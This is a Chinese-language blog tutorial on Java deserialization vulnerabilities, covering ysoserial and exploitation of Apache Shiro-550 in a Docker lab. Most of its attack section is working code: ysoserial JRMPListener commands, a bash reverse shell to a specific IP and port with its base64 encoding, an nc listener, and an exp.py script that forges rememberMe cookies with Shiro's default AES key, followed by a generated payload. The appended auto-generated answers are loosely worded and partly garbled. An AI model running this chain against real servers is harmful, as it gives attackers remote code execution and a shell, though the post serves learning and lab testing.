Java反序列化漏洞(ysoserial工具使用、shiro反序列化利用)

JAVA 反序列化机制

Java 通过 writeObject 序列化将对象保存为二进制数据流,通过 readObject 反序列化将序列化后的二进制重新反序列化为 Java 对象,如果一个类 readObject 方法被重写,反序列化时调用的是重写后的 readObject 方法,Java反序列化漏洞就是从可以被恶意利用的 readObject 开始

FileInputStream fileIn = new FileInputStream('1.bin')
ObjectInputStream in = new ObjectInputStream(fileIn)    
e = (Employee) in.readObject();

漏洞原理

以一个简单的 demo 为例

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class demo1{
    public static void main(String args[]) throws Exception{
        //定义myObj对象
        MyObject myObj = new MyObject();
        myObj.name = "hi";
        //创建一个包含对象进行反序列化信息的”object”数据文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
}

class MyObject implements Serializable {
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        String [] cmd={"cmd","/C","calc"};
        // windows下执行此命令,linux->open /Applications/Calculator.app/
        Runtime.getRuntime().exec(cmd);
    }
}

实现 java.io.Serializable 接可才可以被反序列化,而且所有属性必须是可序列化的(用 transient 关键字修饰的属性除外, 不会参与反序列化)

重写了readObject()函数,定制了反序列化的行为,反序列化时首先会调用 readObject,就像 PHP 反序列化时调用 __weakup

image-20211014210927339

image-20211014211002931

ac ed 00 05是 java 序列化内容的特征,如果经过 base64 编码,那么相对应的是rO0AB

Java拥有的丰富的第三方类库,Java 反序列化大多也是因为其类库的安全问题而产生的

漏洞利用

ysoserial

https://github.com/frohoff/ysoserial/

一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具

Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'

base64编码问题:因为 windows 不能在简单的命令行中使用管道符进行 base,所以推荐使用 linux,base64输出时加命令保证不自动换行

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "cmd /c calc" |base64 -w0
# 还需要进行一次 url 编码

关于 windows 命令使用可以参考链接

http://jackson-t.ca/runtime-exec-payloads.html

可以通过这个网站找到 payload 编码的命令

image-20211014222302220

Gadget
  • CommonsCollection

    1-10对应cc版本

  • CommonsBeanUtils

    shiro721中的利用

  • JRMP

    JRMPClient

    JRMPListener

  • URLDNS

  • JNDI

    JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI 支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等

受此影响到的 Java 组件

  • Shiro:Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理
  • Weblogic:确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器
  • Fastjson/jackson:是Java 库,可以将Java 对象转换为JSON 格式,当然它也可以将JSON 字符串转换为Java 对象
  • Apereo Cas:CAS是一种针对Web的企业多语言单点登录解决方案,并尝试成为您的身份验证和授权需求的综合平台
  • JDBC:JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口,使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问
  • XMLDecoder:用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象,其位于java.beans包下
  • Yaml:Yaml是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁,在Java中,有一个用于解析YAML格式的库,即SnakeYaml,是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型
  • XStream:XStream是Java类库,用来将对象序列化成XML (JSON)或反序列化为对象
  • Websphere:IBM WebSphere® Application Server Community Edition(WASCE)是一款构建于 Apache Geronimo(即 Apache Software Foundation 的开放式源代码应用程序服务器项目)上的、轻量级的 Java 2 Platform,Enterprise Edition(J2EE)应用程序服务器
  • JBoos:是一个基于J2EE的开放源代码的应用服务器,JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用
  • Jenkins:是一个开源的、提供友好操作界面的持续集成(CI)工具,主要用于持续、自动的构建/测试软件项目、监控外部任务的运行,Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle
  • Dubbo:阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的 RPC 实现服务的输出和输入功能,可以和Spring框架无缝集成
  • 当然还有其他组件

Shiro反序列化

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理

Shiro框架默认指纹特征

在请求包的Cookie中为?rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在?rememberMe=deleteMe?字段,说明目标有使用Shiro框架,可以进一步测试

image-20211015141523931

shiro-550

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),当接收到未经身份验证的用户请求时,会执行以下操作

  1. 从请求数据包中提取 Cookie 中 rememberMe 字段的值
  2. 对提取的 cookie 值进行 base64 解码
  3. 对 base64 解码后的值进行 AES 解码
  4. 对解密后的字节数组调用 ObjectInputStream.readObject() 方法来反序列化

问题就在于 Shiro 1.2.4及之前的版本 中,AES加密的密钥默认硬编码在代码里,如果服务端采用的是默认的加密密钥,攻击者就可以构造一个恶意对象,执行任意代码

漏洞利用

环境用 docker 搭建

# 获取docker镜像
docker pull medicean/vulapps:s_shiro_1
# 启动docker,注意端口是否在安全组中打开
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

访问IP:端口,此页面为搭建成功

image-20211015140842418

有很多图形化的工具,如link,但是为了更好的了解漏洞,分步骤进行利用

检查是否存在默认的key

工具:https://github.com/insightglacier/Shiro_exploit

pip install pycryptodome
python .\shiro_exploit.py -u http://url:port

image-20211015142407101

漏洞利用

1.在 vps 上监听 9999 端口

nc -lvvp 9999

用来接收反弹的shell

2.通过ysoserial中JRMP监听模块,监听 6666 端口并执行反弹shell命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'

# 其中 base 编码通过 http://www.jackson-t.ca/runtime-exec-payloads.html 网站编码,注意此处和端口为上一步 vps 监听端口
bash -i >& /dev/tcp/121.196.173.254/9999 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

3.使用修改后的 exp.py 脚本生成 payload

python2 .\exp.py 121.196.173.254:6666

# 注意 exp.py 和 ysoserial 要在同一目录,端口是 jrmp 监听端口,生成 payload
rememberMe=deeUXLJaTn+VopkZgKIWVLd7QRdd+x74oPuD6ThOle3otoxxGCfgZQe6Hc6lQZYh+n1i6MmtqB3YYX7fa6Gezwhf6IXZ8FSAR+cpbL7+mIKEpblcXnO9UQTE5VcnDJxXeYS46PgTmHl2Am+acrGLnNBPdpUcyUppXq1PvAK6NEB63kPOpgQPR0fNJGcx1lwZW/ZZh5A70bz+0BuB+VUXy0IO3CxVzsqx+4TH9vEaYEcgFoEgNpHjbLlOV7sSCXwNzjx1dUUAJ2se3Vg2yTDOCqqf0TW4l8KqbFIWIhtnngKX/kcW2Dpjay0aoqkXRs9chL1bSMaX39Uh+x97KBrqnDJAf3oCl80ItwwP3bQyqSix08d8gipHftzHATVNMRR90hhoF3S4Tfvq/xhky8Znzw==

exp.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

4.构造数据包,伪造cookie,发送Payload

image-20211015144742694

成功反弹shell

不止这一种漏洞利用方式,还可以直接执行命令,还有 shiro 721漏洞,可以看这篇文章 LinkLink2

人菜就要多学习,本次只是对Java反序列化的简单学习,继续努力

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Shiro序列漏洞是近年来Java安全领域的一个重大问题,由于Apache Shiro框架的序列机制不够安全且攻击方式广泛,黑客可以通过此漏洞在应用程序中执行任意代码和操作,从而导致数据泄露、系统崩溃等风险。 为了解决这一问题,一些恶意黑客开发了Shiro序列漏洞综合利用工具,其主要作用是探测针对Shiro漏洞的攻击点,同时提供自动攻击功能,即通过模块的方式实现攻击流程中的各个步骤自动工具,简攻击者的工作。 该工具主要包括以下几个模块: 1. Payload生成模块:通过对Shiro序列漏洞利用规律进行分析,在调用对象与类名之间添加有效负载数据,从而在序列过程中执行攻击代码。 2. 指南针获取模块:该模块主要用于获取目标应用程序中的Shiro指南针(即Shiro的运行时环境),并识别出漏洞点的位置和类型。 3. AOP织入模块:该模块主要用于AOP自动处理,将攻击标记织入目标应用程序中的相关类或方法,实现自动攻击。 4. 调试模块:该模块主要用于实现对攻击过程的掩盖,尽可能避免被抓获,保证攻击效果。 总的来说,Shiro序列漏洞综合利用工具主要是针对Shiro序列漏洞的攻击模块,可以快速发现应用程序的漏洞点,同时提供一系列协作模块进行攻击,具有较高的效率和可靠性,是黑客攻击的主要工具之一,需要开发者及时做好漏洞修复和加强安全机制的措施。 ### 回答2: Shiro是一个开源的Java安全框架,提供了诸如身份验证、授权、加密解密等功能。然而,Shiro框架存在一个序列漏洞,攻击者可以通过该漏洞执行任意命令,进而获取服务器权限。 针对这个漏洞,黑客社区推出了多种综合利用工具,例如ysoserial、commons-collections等,这些工具利用Shiro框架中序列漏洞的特性,构造恶意数据包,传输至目标服务器执行任意命令。 在使用这些工具时,黑客需要进行一系列步骤。首先,需要获取Shiro框架的加密密钥,以便构造有效的恶意数据包。其次,需要利用工具生成payload,常用的情况是利用ysoserial生成Exploit序列对象,最后发送给目标服务器触发漏洞执行恶意代码。 这些工具很容易从Github和Darkweb等地方获取,使用工具的成本很低,攻击者只需要稍微了解一些Shiro框架和Java相关知识,便可轻松进行攻击。 因此,服务端必须及时修复Shiro框架的序列漏洞,升级到最新版本,避免黑客通过利用漏洞入侵服务器,造成不可估量的损失。此外,数据加密、权限控制等措施也非常重要,可以防止黑客获取加密密钥,降低服务器被攻击的风险。 ### 回答3: Shiro序列漏洞综合利用工具是一款能够快速检测和利用Shiro框架序列漏洞工具,可以自动完成攻击流程,方便黑客进行攻击。该工具主要是基于shiro-poc脚本开发而来,可以自动完成Shiro认证和授权的绕过,进而获取目标系统敏感信息或者直接取得系统控制权。 利用Shiro序列漏洞综合利用工具通常需要进行如下流程:首先,收集目标系统的相关信息,包括Shiro框架版本和应用程序暴露的Cookie等信息。其次,通过漏洞检测工具对目标系统进行漏洞扫描,确认是否存在Shiro序列漏洞。然后,根据目标系统的情况选择对应的攻击方式,例如通过利用恶意序列数据绕过Shiro认证和授权机制,获取敏感信息或控制目标系统。最后,保护自己的系统,使用安全补丁或其他措施来防止Shiro序列漏洞被攻击者利用。 总之,Shiro序列漏洞综合利用工具是一个十分强大的利用工具,可以使攻击者轻松利用Shiro序列漏洞对目标系统进行攻击和渗透,对于防范此类攻击,我们必须做好系统漏洞修复和相关防护措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值